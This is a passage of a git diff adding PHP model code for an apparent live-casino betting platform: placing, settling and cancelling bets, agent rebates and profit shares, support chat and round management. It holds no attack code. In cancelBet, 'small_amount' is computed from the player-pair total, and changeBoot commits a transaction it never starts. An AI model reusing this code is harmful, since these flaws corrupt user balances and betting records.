$newSeatJson = json_encode($seatArr); + NumberTab::where(['id' => $numberTabInfo['id']])->update(['seat_json' => $newSeatJson]); + Db::commit(); + return true; + } catch (\Exception $e) { + Db::rollback(); + return false; + } + } + + /** + * TODO toBet AllGame + * @param array $tableInfo 桌子信息 + * @param array $userInfo 用户信息 + * @param array $numberTabInfo 铺信息 + * @param array $prevBetInfo 上一次的注单信息 + * @param array $betAmount 当前的下注信息 + * @param int $seat_num 座位号 + * @param array $betTotalAmount 用户当前铺总额信息 + * @param int $time 时间 + * @param int $baccaratType 百家乐免佣抽佣 + * @param string $rouletteType 骰子欧式法式 + * @return bool + */ + public static function toBet( + array $tableInfo, + array $userInfo, + array $numberTabInfo, + array $prevBetInfo, + array $betAmount, + int $seat_num, + array $betTotalAmount, + int $time, + int $baccaratType, + string $rouletteType = '' + ): bool { + Db::startTrans(); + try { + + // number_tab 铺表总额更新 + if ($tableInfo['game_id'] == 1){ + NumberTab::where('id',$numberTabInfo['id']) + ->inc('banker_amount',$betAmount['banker_amount']) + ->inc('player_amount',$betAmount['player_amount']) + ->inc('tie_amount',$betAmount['tie_amount']) + ->inc('banker_pair_amount',$betAmount['banker_pair_amount']) + ->inc('player_pair_amount',$betAmount['player_pair_amount']) + ->inc('luck_six_amount',$betAmount['luck_six_amount']) + ->inc('big_amount',$betAmount['big_amount']) + ->inc('small_amount',$betAmount['small_amount']) + ->update(); + } elseif ($tableInfo['game_id'] == 2){ + NumberTab::where('id',$numberTabInfo['id']) + ->inc('banker_amount',$betAmount['banker_amount']) + ->inc('player_amount',$betAmount['player_amount']) + ->inc('tie_amount',$betAmount['tie_amount']) + ->update(); + } elseif ($tableInfo['game_id'] == 4 || $tableInfo['game_id'] == 5){ + NumberTab::where('id',$numberTabInfo['id']) + ->inc('amount_player_1',$betAmount['amount_player_1']) + ->inc('amount_player_1_times',$betAmount['amount_player_1_times']) + ->inc('withhold_player_1_times',$betAmount['withhold_player_1_times']) + ->inc('amount_player_1_banker',$betAmount['amount_player_1_banker']) + ->inc('amount_player_1_banker_times',$betAmount['amount_player_1_banker_times']) + ->inc('withhold_player_1_banker_times',$betAmount['withhold_player_1_banker_times']) + ->inc('amount_player_2',$betAmount['amount_player_2']) + ->inc('amount_player_2_times',$betAmount['amount_player_2_times']) + ->inc('withhold_player_2_times',$betAmount['withhold_player_2_times']) + ->inc('amount_player_2_banker',$betAmount['amount_player_2_banker']) + ->inc('amount_player_2_banker_times',$betAmount['amount_player_2_banker_times']) + ->inc('withhold_player_2_banker_times',$betAmount['withhold_player_2_banker_times']) + ->inc('amount_player_3',$betAmount['amount_player_3']) + ->inc('amount_player_3_times',$betAmount['amount_player_3_times']) + ->inc('withhold_player_3_times',$betAmount['withhold_player_3_times']) + ->inc('amount_player_3_banker',$betAmount['amount_player_3_banker']) + ->inc('amount_player_3_banker_times',$betAmount['amount_player_3_banker_times']) + ->inc('withhold_player_3_banker_times',$betAmount['withhold_player_3_banker_times']) + ->update(); + } elseif ($tableInfo['game_id'] == 6){ + $beforeAmountString = $numberTabInfo['toning_amount']; + $beforeAmountArray = string_to_array($beforeAmountString); + $afterAmountArray = ToningUtil::amountInc($beforeAmountArray, $betAmount); + NumberTab::where('id',$numberTabInfo['id'])->update(['toning_amount' => array_to_string($afterAmountArray)]); + } elseif ($tableInfo['game_id'] == 7){ + $beforeAmountString = $numberTabInfo['dice_amount']; + $beforeAmountArray = string_to_array($beforeAmountString); + $afterAmountArray = DiceUtil::amountInc($beforeAmountArray, $betAmount); + NumberTab::where('id',$numberTabInfo['id'])->update(['dice_amount' => array_to_string($afterAmountArray)]); + } elseif ($tableInfo['game_id'] == 8){ + $beforeAmountString = $numberTabInfo[$rouletteType]; + $beforeAmountArray = string_to_array($beforeAmountString); + $afterAmountArray = RouletteUtil::amountInc($beforeAmountArray, $betAmount); + NumberTab::where('id',$numberTabInfo['id'])->update([ $rouletteType => array_to_string($afterAmountArray)]); + } + $amount = array_sum($betAmount); + $totalAmount = array_sum($betTotalAmount); + User::where('id',$userInfo['id'])->dec('money',$amount)->update(); + if($prevBetInfo){ + $bet = ['id' => $prevBetInfo['id'], 'amount' => $totalAmount, 'money_after_bet' => $userInfo['money'] - $amount]; + if ($tableInfo['game_id'] == 6){ + $bet['toning_amount'] = array_to_string($betTotalAmount); + } elseif($tableInfo['game_id'] == 7){ + $bet['dice_amount'] = array_to_string($betTotalAmount); + } elseif($tableInfo['game_id'] == 8){ + $bet[$rouletteType] = array_to_string($betTotalAmount); + } else { + $bet = array_merge($bet,$betTotalAmount); + } + $bet['seat_num'] = $seat_num; + $bet['manager_id'] = $userInfo['manager_id']; + self::where(['id' => $prevBetInfo['id']])->update($bet); + }else{ + $bet = array( + 'user_id' => $userInfo['id'], + 'agent_parent_id_path' => $userInfo['agent_parent_id_path'], + 'username' => $userInfo['username'], + 'nickname' => $userInfo['nickname'], + 'table_id' => $tableInfo['id'], + 'boot_id' => $numberTabInfo['boot_id'], + 'boot_num' => $numberTabInfo['boot_num'], + 'number_tab_id' => $numberTabInfo['id'], + 'number' => $numberTabInfo['number'], + 'game_id' => $tableInfo['game_id'], + 'game_name' => $tableInfo['game_name'], + 'table_name' => $tableInfo['table_name'], + 'sumday_id' => $numberTabInfo['sumday_id'], + 'day' => $numberTabInfo['day'], + 'amount' => $totalAmount, + 'money_before_bet' => $userInfo['money'], + 'money_after_bet' => $userInfo['money'] - $amount, + 'unify_time' => $numberTabInfo['unify_time'], + 'create_time' => $time, + 'baccarat_type' => $baccaratType, + 'seat_num' => $seat_num, + 'manager_id' => $userInfo['manager_id'] + ); + if ($tableInfo['game_id'] == 6){ + $bet['toning_amount'] = array_to_string($betTotalAmount); + } elseif ($tableInfo['game_id'] == 7){ + $bet['dice_amount'] = array_to_string($betTotalAmount); + } elseif ($tableInfo['game_id'] == 8){ + $bet[$rouletteType] = array_to_string($betTotalAmount); + } else { + $bet = array_merge($bet,$betTotalAmount); + } + self::create($bet); + } + Db::commit(); + return true; + } catch (\Exception $e){ + Db::rollback(); + return false; + } + } + /** + * TODO openingBet AllGame + * @param array $tableInfo 桌子信息 + * @param array $betInfo 注单信息 + * @param array $userInfo 用户信息 + * @param array $numberTabInfo 铺信息 + * @param float $amount 下注总数 + * @param float $winTotal 赢钱金额 + * @param float $rebate 洗码量 + * @param float $withholdAmount 翻倍下注数 + * @return array + */ + public static function openingBet( + array $tableInfo, + array $betInfo, + array $userInfo, + array $numberTabInfo, + float $amount, + float $winTotal, + float $rebate, + float $withholdAmount = 0 + ): array + { + $time = time(); + Db::startTrans(); + try { + // 更新user表余额 + $money = $userInfo['money'] + $winTotal + $amount + $withholdAmount; + $updateMoney = round(($winTotal + $amount + $withholdAmount),2); + User::where(['id' => $userInfo['id']])->inc('money',$updateMoney)->update(); + // 更新bet表 + if ($numberTabInfo['game_id'] == 1 || $numberTabInfo['game_id'] == 2){ + $betUpdate = ['result' => $numberTabInfo['result'], 'win_total' => $winTotal, 'end_money' => $money, 'is_end' => 1]; + } elseif ($numberTabInfo['game_id'] == 6){ + $betUpdate = ['toning_result' => $numberTabInfo['toning_result'], 'win_total' => $winTotal, 'end_money' => $money, 'is_end' => 1]; + } elseif ($numberTabInfo['game_id'] == 7){ + $betUpdate = ['dice_result' => $numberTabInfo['dice_result'], 'win_total' => $winTotal, 'end_money' => $money, 'is_end' => 1]; + } elseif ($numberTabInfo['game_id'] == 8){ + $betUpdate = ['roulette_result' => $numberTabInfo['roulette_result'], 'win_total' => $winTotal, 'end_money' => $money, 'is_end' => 1]; + }else { + $betUpdate = ['win_total' => $winTotal, 'end_money' => $money, 'is_end' => 1]; + } + if (in_array($tableInfo['game_id'],[4,5])){ + $betUpdate['position_first'] = $betInfo['position_first']; + $betUpdate['result_player_1'] = $betInfo['result_player_1']; + $betUpdate['result_player_2'] = $betInfo['result_player_2']; + $betUpdate['result_player_3'] = $betInfo['result_player_3']; + $betUpdate['result_banker'] = $betInfo['result_banker']; + $betUpdate['win_player_1'] = $betInfo['win_player_1']; + $betUpdate['win_player_2'] = $betInfo['win_player_2']; + $betUpdate['win_player_3'] = $betInfo['win_player_3']; + $betUpdate['times_player_1'] = $betInfo['times_player_1']; + $betUpdate['times_player_2'] = $betInfo['times_player_2']; + $betUpdate['times_player_3'] = $betInfo['times_player_3']; + } + self::where(['id' => $betInfo['id']])->update($betUpdate); + /* 处理洗码及占股 */ + $agent = explode(',', $userInfo['agent_parent_id_path']); + $generalAgent = User::get(intval($agent[0])); + if($numberTabInfo['game_id'] == 5){ + $betXimalv = $generalAgent['agent_ximalv_tc']; + }elseif($numberTabInfo['game_id'] == 4){ + $betXimalv = $generalAgent['agent_ximalv_nn']; + }elseif($numberTabInfo['game_id'] == 2){ + $betXimalv = $generalAgent['agent_ximalv_dt']; + }else{ + $betXimalv = $generalAgent['agent_ximalv']; + } + $betMaliang = round(($rebate * $betXimalv) / 100,2); + krsort($agent); + $nextCs = 0; + $nextMaliang = 0; + $nextZhanGulv = 0; + $nextRebate = 0; + foreach($agent as $key => $value){ + $userPathInfo = User::get($value); + if($userPathInfo){ + $maliang = 0; + if($numberTabInfo['game_id'] == 5){ + $ximalv = $userPathInfo['agent_ximalv_tc']; + }elseif($numberTabInfo['game_id'] == 4){ + $ximalv = $userPathInfo['agent_ximalv_nn']; + }elseif($numberTabInfo['game_id'] == 2){ + $ximalv = $userPathInfo['agent_ximalv_dt']; + }else{ + $ximalv = $userPathInfo['agent_ximalv']; + } + $type = $key == 0 ? 1 : 0; + $netZhangulv = round(($userPathInfo['agent_cs'] / 100 - $nextZhanGulv),2); + if($tableInfo['is_xima'] == 1 && $rebate > 0){ + $maliang = round(($rebate * $ximalv) / 100,2); + $netMaliang = $maliang - $nextMaliang; + $shareMaliang = $betMaliang * $netZhangulv; + $percentMaliang = round(($userPathInfo['agent_cs'] / 100) * $betMaliang, 2); + if($userPathInfo['share_xima'] == 2){ + $nextLevelMaliang = $maliang - $percentMaliang; + }else{ + $nextLevelMaliang = $maliang; + } + $maliangTrue = $netMaliang - $shareMaliang; + //判断是否即时结算洗吗 + $insertXima = array( + 'agent_parent_id_path' => $userInfo['agent_parent_id_path'], + 'user_id' => $value, + 'bet_user_id' => $userInfo['id'], + 'bet_id' => $betInfo['id'], + 'game_id' => $betInfo['game_id'], + 'table_id' => $betInfo['table_id'], + 'game_name' => $betInfo['game_name'], + 'table_name' => $betInfo['table_name'], + 'boot_num' => $betInfo['boot_num'], + 'number' => $betInfo['number'], + 'sumday_id' => $betInfo['sumday_id'], + 'day' => $betInfo['day'], + 'number_tab_id' => $betInfo['number_tab_id'], + 'boot_id' => $betInfo['boot_id'], + 'ximaliang' => $rebate, + 'ximalv' => $ximalv, + 'maliang' => $maliang, + 'maliang_true' => $maliangTrue, + 'total' => $amount, + 'win_total' => $winTotal, + 'create_time' => $time, + 'unify_time' => $betInfo['unify_time'], + 'type' => $type, + 'net_maliang' => $netMaliang, + 'bet_maliang' => $betMaliang, + 'agent_cs' => $userPathInfo['agent_cs'], + 'net_agent_cs' => $netZhangulv, + 'share_maliang' => $shareMaliang, + 'percent_maliang' => $percentMaliang, + 'next_level_maliang' => $nextLevelMaliang, + ); + if($generalAgent['now_checkout_xima'] == 1 && $betInfo['user_id'] == $userPathInfo['id'] && $userPathInfo['agent'] == 0){ + // 判断上级余额扣为负数 + $parentInfo = User::where(['id' => $userPathInfo['agent_parent_id']])->find(); + if(SETTLE_MONEY_EXCEED_PARENT_MONTY == 1 || $maliang <= $parentInfo['money']){ + // 洗码表记录状态 + $insertXima['is_checkout'] = 1; + $insertXima['checkout_time'] = $time; + + // 增加用户余额 + User::where(['id' => $userPathInfo['id']])->inc('money',$maliang)->update(); + $money = $money + $maliangTrue; + + // 添加用户上分记录 + $userScoreData = [ + 'type' => 2, + 'amount' => $maliang, + 'mode' => 1, + 'agent_or_admin' => 4, + 'controller_type' => '系统即时结算', + 'user_id' => $userPathInfo['id'], + 'user_type' => $userPathInfo['agent'], + 'user_agent_level' => $userPathInfo['agent_level'], + 'username_for' => $userPathInfo['username'], + 'nickname_for' => $userPathInfo['nickname'], + 'user_parent_id' => $userPathInfo['agent_parent_id'], + 'create_time' => $time, + 'old_money' => $userPathInfo['money'], + 'new_money' => $userPathInfo['money'] + $maliang, + 'controller_old_money' => $parentInfo['money'], + 'controller_new_money' => $parentInfo['money'] - $maliang, + 'controller_system' => 4, + ]; + Recharge::create($userScoreData); + + // 扣除上级余额 + User::where(['id' => $parentInfo['id']])->dec('money',$maliang)->update(); + + // 添加用户上分记录 + $userScoreData = [ + 'type' => 2, + 'amount' => $maliang, + 'mode' => 2, + 'agent_or_admin' => 4, + 'controller_type' => '系统即时结算', + 'user_id' => $parentInfo['id'], + 'user_type' => $parentInfo['agent'], + 'user_agent_level' => $parentInfo['agent_level'], + 'username_for' => $parentInfo['username'], + 'nickname_for' => $parentInfo['nickname'], + 'user_parent_id' => $parentInfo['agent_parent_id'], + 'create_time' => $time, + 'old_money' => $parentInfo['money'], + 'new_money' => $parentInfo['money'] - $maliang, + 'controller_old_money' => $parentInfo['money'], + 'controller_new_money' => $parentInfo['money'] - $maliang, + 'controller_system' => 4, + ]; + Recharge::create($userScoreData); + + // 添加洗码结算记录 + $ximaLogData = [ + 'user_id' => $userPathInfo['id'], + 'username' => $userPathInfo['username'], + 'admin_or_agent' => 4, + 'ximaliang' => $rebate, + 'maliang' => $maliang, + 'agent_ximalv' => $userPathInfo['agent_ximalv'].'/'.$userPathInfo['agent_ximalv_dt'].'/'.$userPathInfo['agent_ximalv_nn'].'/'.$userPathInfo['agent_ximalv_tc'], + 'create_time' => $time, + 'old_money' => $userPathInfo['money'], + 'new_money' => $userPathInfo['money'] + $maliang, + 'type' => 1, // 洗码上分 + ]; + XimaLog::create($ximaLogData); + } + + } + Xima::create($insertXima); + $nextMaliang = $netMaliang + $nextMaliang; + } + //计算占股 + $shareAmount = to_number(round(($userPathInfo['agent_cs'] * $winTotal) / 100,2)); + $shareAmountTrue = to_number(round(($netZhangulv * $winTotal),2)); + $netCs = $shareAmount - $nextCs; + $insertCs = array( + 'agent_parent_id_path' => $userInfo['agent_parent_id_path'], + 'user_id' => $value, + 'bet_user_id' => $userInfo['id'], + 'bet_id' => $betInfo['id'], + 'game_id' => $betInfo['game_id'], + 'table_id' => $betInfo['table_id'], + 'game_name' => $betInfo['game_name'], + 'table_name' => $betInfo['table_name'], + 'boot_num' => $betInfo['boot_num'], + 'number' => $betInfo['number'], + 'number_tab_id' => $betInfo['number_tab_id'], + 'boot_id' => $betInfo['boot_id'], + 'sumday_id' => $betInfo['sumday_id'], + 'day' => $betInfo['day'], + 'share_amount' => $shareAmount, + 'share_amount_true' => $shareAmountTrue, + 'share_percent' => $userPathInfo['agent_cs'], + 'total' => $amount, + 'win_total' => $winTotal, + 'create_time' => $time, + 'unify_time' => $betInfo['unify_time'], + 'type' => $type, + 'net_cs' => $netCs, + 'maliang' => $maliang, + 'share_maliang' => $shareMaliang ?? 0, + 'net_maliang' => $netMaliang ?? 0, + ); + Cs::create($insertCs); + $nextZhanGulv = $netZhangulv + $nextZhanGulv; + $nextCs = $netCs + $nextCs; + + // 计算返水 + $rebateRate = $userPathInfo['rebate_rate']; + if($generalAgent['agent_type'] == 1){ + $rebateAmount = ($amount * $rebateRate) / 100; + $rebateAmountActual = $rebateAmount - $nextRebate; + $insertRebate = array( + 'agent_parent_id_path' => $userInfo['agent_parent_id_path'], + 'user_id' => $value, + 'bet_user_id' => $userInfo['id'], + 'bet_id' => $betInfo['id'], + 'game_id' => $betInfo['game_id'], + 'table_id' => $betInfo['table_id'], + 'game_name' => $betInfo['game_name'], + 'table_name' => $betInfo['table_name'], + 'boot_num' => $betInfo['boot_num'], + 'number' => $betInfo['number'], + 'sumday_id' => $betInfo['sumday_id'], + 'day' => $betInfo['day'], + 'number_tab_id' => $betInfo['number_tab_id'], + 'boot_id' => $betInfo['boot_id'], + 'amount' => $amount, + 'rebate_amount' => $rebateAmount, + 'rebate_amount_actual' => $rebateAmountActual, + 'rebate_rate' => $rebateRate, + 'create_time' => $time, + 'unify_time' => $betInfo['unify_time'], + ); + Rebate::create($insertRebate); + $nextRebate = $rebateAmountActual + $nextRebate; + } + } + } + // 提交事务 + Db::commit(); + return ['status' => true, 'msg' => 'opening_success', 'money' => $money]; + } catch (\Exception $e) { + // 回滚事务 + Db::rollback(); + return ['status' => false, 'msg' => 'opening_fail']; + } + } + /** + * TODO cancelBet AllGame + * @param array $tableInfo + * @param array $numberTabInfo + * @param array $userInfo + * @param array $prevBetInfo + * @return array + */ + public static function cancelBet(array $tableInfo, array $numberTabInfo, array $userInfo, array $prevBetInfo): array{ + Db::startTrans(); + try { + if($tableInfo['game_id'] == 1){ + $updateNumberTab = array( + 'banker_amount' => $numberTabInfo['banker_amount'] - $prevBetInfo['banker_amount'], + 'player_amount' => $numberTabInfo['player_amount'] - $prevBetInfo['player_amount'], + 'tie_amount' => $numberTabInfo['tie_amount'] - $prevBetInfo['tie_amount'], + 'banker_pair_amount' => $numberTabInfo['banker_pair_amount'] - $prevBetInfo['banker_pair_amount'], + 'player_pair_amount' => $numberTabInfo['player_pair_amount'] - $prevBetInfo['player_pair_amount'], + 'luck_six_amount' => $numberTabInfo['luck_six_amount'] - $prevBetInfo['luck_six_amount'], + 'big_amount' => $numberTabInfo['big_amount'] - $prevBetInfo['big_amount'], + 'small_amount' => $numberTabInfo['player_pair_amount'] - $prevBetInfo['small_amount'] + ); + }elseif($tableInfo['game_id'] == 2){ + $updateNumberTab = array( + 'banker_amount' => $numberTabInfo['banker_amount'] - $prevBetInfo['banker_amount'], + 'player_amount' => $numberTabInfo['player_amount'] - $prevBetInfo['player_amount'], + 'tie_amount' => $numberTabInfo['tie_amount'] - $prevBetInfo['tie_amount'], + ); + }elseif($tableInfo['game_id'] == 4 || $tableInfo['game_id'] == 5){ + $updateNumberTab = array( + 'amount_player_1' => $numberTabInfo['amount_player_1'] - $prevBetInfo['amount_player_1'], + 'amount_player_1_times' => $numberTabInfo['amount_player_1_times'] - $prevBetInfo['amount_player_1_times'], + 'withhold_player_1_times' => $numberTabInfo['withhold_player_1_times'] - $prevBetInfo['withhold_player_1_times'], + 'amount_player_1_banker' => $numberTabInfo['amount_player_1_banker'] - $prevBetInfo['amount_player_1_banker'], + 'amount_player_1_banker_times' => $numberTabInfo['amount_player_1_banker_times'] - $prevBetInfo['amount_player_1_banker_times'], + 'withhold_player_1_banker_times' => $numberTabInfo['withhold_player_1_banker_times'] - $prevBetInfo['withhold_player_1_banker_times'], + + 'amount_player_2' => $numberTabInfo['amount_player_2'] - $prevBetInfo['amount_player_2'], + 'amount_player_2_times' => $numberTabInfo['amount_player_2_times'] - $prevBetInfo['amount_player_2_times'], + 'withhold_player_2_times' => $numberTabInfo['withhold_player_2_times'] - $prevBetInfo['withhold_player_2_times'], + 'amount_player_2_banker' => $numberTabInfo['amount_player_2_banker'] - $prevBetInfo['amount_player_2_banker'], + 'amount_player_2_banker_times' => $numberTabInfo['amount_player_2_banker_times'] - $prevBetInfo['amount_player_2_banker_times'], + 'withhold_player_2_banker_times' => $numberTabInfo['withhold_player_2_banker_times'] - $prevBetInfo['withhold_player_2_banker_times'], + + 'amount_player_3' => $numberTabInfo['amount_player_3'] - $prevBetInfo['amount_player_3'], + 'amount_player_3_times' => $numberTabInfo['amount_player_3_times'] - $prevBetInfo['amount_player_3_times'], + 'withhold_player_3_times' => $numberTabInfo['withhold_player_3_times'] - $prevBetInfo['withhold_player_3_times'], + 'amount_player_3_banker' => $numberTabInfo['amount_player_3_banker'] - $prevBetInfo['amount_player_3_banker'], + 'amount_player_3_banker_times' => $numberTabInfo['amount_player_3_banker_times'] - $prevBetInfo['amount_player_3_banker_times'], + 'withhold_player_3_banker_times' => $numberTabInfo['withhold_player_3_banker_times'] - $prevBetInfo['withhold_player_3_banker_times'], + ); + } + NumberTab::where(['id' => $numberTabInfo['id']])->update($updateNumberTab); + //删除bet表下注记录,并且更新会员余分 + Bet::where(['table_id' => $tableInfo['id'], 'number_tab_id' => $numberTabInfo['id'], 'user_id' => $userInfo['id']])->delete(); + if($tableInfo['game_id'] == 4){ + $returnMoney = round(($prevBetInfo['withhold_amount'] + $prevBetInfo['amount']), 2); + }else{ + $returnMoney = $prevBetInfo['amount']; + } + User::where(['id' => $userInfo['id']])->inc('money',$returnMoney)->update(); + $newMoney = round(($userInfo['money'] + $returnMoney), 2); + Db::commit(); + return ['status' => true, 'table_id' => $tableInfo['id'], 'user_id' => $userInfo['id'], 'manager_id' => $userInfo['manager_id'],'msg' => 'cancel_bet_success', 'money' => $newMoney]; + } catch (\Exception $e) { + Db::rollback(); + return ['status' => false, 'msg' => 'cannot_cancel_bet']; + } + } +} diff --git a/app/models/bet/Cs.php b/app/models/bet/Cs.php new file mode 100644 index 0000000..5b6364b --- /dev/null +++ b/app/models/bet/Cs.php @@ -0,0 +1,36 @@ + $numberTabId])->field($field)->select(); + if (!empty($select)) return $select->toArray(); + else return []; + } +} \ No newline at end of file diff --git a/app/models/bet/Rebate.php b/app/models/bet/Rebate.php new file mode 100644 index 0000000..4539bed --- /dev/null +++ b/app/models/bet/Rebate.php @@ -0,0 +1,36 @@ + $numberTabId])->field($field)->select(); + if (!empty($select)) return $select->toArray(); + else return []; + } +} \ No newline at end of file diff --git a/app/models/bet/Xima.php b/app/models/bet/Xima.php new file mode 100644 index 0000000..94ce0c0 --- /dev/null +++ b/app/models/bet/Xima.php @@ -0,0 +1,36 @@ + $numberTabId])->field($field)->select(); + if (!empty($select)) return $select->toArray(); + else return []; + } +} \ No newline at end of file diff --git a/app/models/bet/XimaLog.php b/app/models/bet/XimaLog.php new file mode 100644 index 0000000..e3f23aa --- /dev/null +++ b/app/models/bet/XimaLog.php @@ -0,0 +1,29 @@ + $numberTabId])->find(); + if ($card){ + $res = self::where(['id' => $card['id']])->update($update); + } else { + $insert = [ + 'number_tab_id' => $numberTabId, + 'create_time' => time() + ]; + $insert = array_merge($insert, $update); + $res = self::create($insert); + } + return (bool)$res; + } + + /** + * 获取卡牌 + * @param int $numberTabId + * @return array + */ + public static function getCard(int $numberTabId): array + { + $card = self::where(['number_tab_id' => $numberTabId])->field('banker_1,banker_2,banker_3,player_1,player_2,player_3')->find(); + if ($card) { + return $card->toArray(); + } else { + return []; + } + } +} \ No newline at end of file diff --git a/app/models/chat/ChatAdminStatus.php b/app/models/chat/ChatAdminStatus.php new file mode 100644 index 0000000..38d72dc --- /dev/null +++ b/app/models/chat/ChatAdminStatus.php @@ -0,0 +1,65 @@ +find(); + return $status ? $status->toArray() : null; + } + + /** + * 获取或创建客服配置 + */ + public static function getOrCreate(int $adminId): array + { + $status = self::getByAdminId($adminId); + if ($status === null) { + $data = [ + 'admin_id' => $adminId, + 'max_sessions' => 10, + 'is_enabled' => 1, + 'create_time' => time(), + 'update_time' => time(), + ]; + self::insert($data); + $status = $data; + } + return $status; + } + + /** + * 更新最后在线时间 + */ + public static function updateLastOnlineTime(int $adminId): void + { + self::where('admin_id', $adminId)->update([ + 'last_online_time' => time(), + 'update_time' => time(), + ]); + } + + /** + * 获取启用客服功能的管理员ID列表 + */ + public static function getEnabledAdminIds(): array + { + return self::where('is_enabled', 1)->column('admin_id'); + } +} diff --git a/app/models/chat/ChatMessage.php b/app/models/chat/ChatMessage.php new file mode 100644 index 0000000..e7e5800 --- /dev/null +++ b/app/models/chat/ChatMessage.php @@ -0,0 +1,69 @@ + 0) { + $query->where('id', '<', $lastId); + } + return $query->order('id', 'desc') + ->limit($limit) + ->select() + ->toArray(); + } + + /** + * 获取会话未读消息 + */ + public static function getUnreadBySessionId(int $sessionId, int $senderType, int $limit = 50): array + { + return self::where('session_id', $sessionId) + ->where('sender_type', '<>', $senderType) + ->where('status', '<', self::STATUS_READ) + ->order('id', 'asc') + ->limit($limit) + ->select() + ->toArray(); + } + + /** + * 检查消息ID是否存在(幂等性) + */ + public static function existsByMsgId(int $msgId): bool + { + return self::where('msg_id', $msgId)->count() > 0; + } +} diff --git a/app/models/chat/ChatQuickReply.php b/app/models/chat/ChatQuickReply.php new file mode 100644 index 0000000..67691eb --- /dev/null +++ b/app/models/chat/ChatQuickReply.php @@ -0,0 +1,44 @@ +where('category', $category); + } + return $query->order('sort', 'asc') + ->order('id', 'asc') + ->select() + ->toArray(); + } + + /** + * 获取分类列表 + */ + public static function getCategories(): array + { + return self::where('status', 1) + ->whereNotNull('category') + ->where('category', '<>', '') + ->group('category') + ->column('category'); + } +} diff --git a/app/models/chat/ChatSession.php b/app/models/chat/ChatSession.php new file mode 100644 index 0000000..86545f8 --- /dev/null +++ b/app/models/chat/ChatSession.php @@ -0,0 +1,58 @@ +whereIn('status', [self::STATUS_PENDING, self::STATUS_ACTIVE]) + ->find(); + return $session ? $session->toArray() : null; + } + + /** + * 获取客服进行中的会话列表 + */ + public static function getActiveByAdminId(int $adminId): array + { + return self::where('admin_id', $adminId) + ->where('status', self::STATUS_ACTIVE) + ->order('last_msg_time', 'desc') + ->select() + ->toArray(); + } + + /** + * 获取待分配会话数量 + */ + public static function getPendingCount(): int + { + return self::where('status', self::STATUS_PENDING)->count(); + } +} diff --git a/app/models/manager/Manager.php b/app/models/manager/Manager.php new file mode 100644 index 0000000..1ee8aa8 --- /dev/null +++ b/app/models/manager/Manager.php @@ -0,0 +1,31 @@ + $tableInfo['id']])->order('id DESC')->find(); + if ($find) return $find->toArray(); + else return []; + } + + /** + * TODO 根据日结创建新一局 + * @param array $sumdayInfo + * @return array + */ + public static function addBySumday(array $sumdayInfo): array + { + $insert = array( + 'table_id' => $sumdayInfo['table_id'], + 'table_name' => $sumdayInfo['table_name'], + 'game_id' => $sumdayInfo['game_id'], + 'game_name' => $sumdayInfo['game_name'], + 'sumday_id' => $sumdayInfo['id'], + 'day' => $sumdayInfo['day'], + 'boot_num' => 1, + 'create_time' => time() + ); + $newBoot = self::create($insert); + return $newBoot->toArray(); + } + + /** + * TODO 换靴 + * @param array $tableInfo + * @return array + */ + public static function changeBoot(array $tableInfo): array + { + $bootInfo = self::getByTableIdOrderByIdDesc($tableInfo); + $numberTabInfo = NumberTab::getByBootIdOrderByIdDesc($bootInfo); + if (!$numberTabInfo){ + return ['status' => false, 'msg' => 'change_boot_fail']; + } + if($numberTabInfo['bet_status'] != 0){ + return ['status' => false, 'msg' => 'change_boot_false']; + } + try { + $insertBoot = [ + 'table_id' => $bootInfo['table_id'], + 'table_name' => $bootInfo['table_name'], + 'game_id' => $bootInfo['game_id'], + 'game_name' => $bootInfo['game_name'], + 'sumday_id' => $bootInfo['sumday_id'], + 'day' => $bootInfo['day'], + 'boot_num' => $bootInfo['boot_num']+1, + 'create_time' => time() + ]; + $createBootRes = self::create($insertBoot); + $createBootRes = $createBootRes->toArray(); + $createNumberTabRes = NumberTab::addByBoot($createBootRes); + WaybillRemind::where(['table_id' => $tableInfo['id']])->delete(); + if ($tableInfo['in_checkout'] > 0){ + Table::where(['id' => $tableInfo['id']])->update(['in_checkout' => 0]); + } + Db::commit(); + return [ + 'status' => true, + 'data' => [ + 'boot_id' => $createBootRes['id'], + 'boot_num' => $createBootRes['boot_num'], + 'number_tab_id' => $createNumberTabRes['id'], + 'number_tab_number' => $createNumberTabRes['number'], + 'in_checkout' => 0, + 'number_tab_status' => InitTableService::numberTabStatus($createNumberTabRes) + ] + ]; + } catch (\Exception $e) { + Db::rollback(); + return ['status' => false, 'msg' => 'change_boot_fail']; + } + + } +} \ No newline at end of file diff --git a/app/models/process/NumberTab.php b/app/models/process/NumberTab.php new file mode 100644 index 0000000..325bca6 --- /dev/null +++ b/app/models/process/NumberTab.php @@ -0,0 +1,1013 @@ + $bootId, 'bet_status' => 3])->field($field)->order('start_time ASC,id ASC')->select(); + if ($select) return $select->toArray(); + else return []; + } + + /** + * TODO 根据靴获取最后一局 + * @param array $bootInfo + * @return array + */ + public static function getByBootIdOrderByIdDesc(array $bootInfo): array + { + $find = self::where(['boot_id' => $bootInfo['id'], 'is_add' => 0])->order('id DESC')->find(); + if ($find) return $find->toArray(); + else return []; + } + + /** + * TODO 根据桌子获取最后一局 + * @param array $tableInfo + * @return array + */ + public static function getByTableIdOrderByIdDesc(array $tableInfo): array + { + $find = self::where(['table_id' => $tableInfo['id'], 'is_add' => 0])->order('id DESC')->find(); + if ($find) return $find->toArray(); + else return []; + } + /** + * TODO 根据桌子获取最后两局 + * @param array $tableInfo + * @return array + */ + public static function getByTableIdOrderByIdDesc_two(array $tableInfo): array + { + $find = self::where(['table_id' => $tableInfo['id'], 'is_add' => 0])->order('id DESC')->limit(2)->select(); + if ($find) return $find->toArray(); + else return []; + } + + /** + * TODO 根据bootInfo创建新一局 + * @param array $bootInfo + * @return array + */ + public static function addByBoot(array $bootInfo): array + { + $insert = array( + 'table_id' => $bootInfo['table_id'], + 'table_name' => $bootInfo['table_name'], + 'game_id' => $bootInfo['game_id'], + 'game_name' => $bootInfo['game_name'], + 'sumday_id' => $bootInfo['sumday_id'], + 'day' => $bootInfo['day'], + 'boot_id' => $bootInfo['id'], + 'boot_num' => $bootInfo['boot_num'], + 'number' => 1, + 'start_time' => time(), + 'unify_time' => time(), + 'bet_status' => 0, + 'rob_status' => 0 + ); + $newNumberTab = self::create($insert); + return $newNumberTab->toArray(); + } + + /** + * TODO 开始倒计时 + * @param int $numberTabId + * @return array + */ + public static function startBet(int $numberTabId): array + { + $numberTabInfo = self::get(['id' => $numberTabId]); + if (!$numberTabInfo) return ['status' => false, 'msg' => 'start_bet_fail']; + if ($numberTabInfo['bet_status'] != 0) return ['status' => false, 'msg' => 'start_bet_error']; + self::where(['id' => $numberTabInfo['id']])->update(['bet_status' => 1, 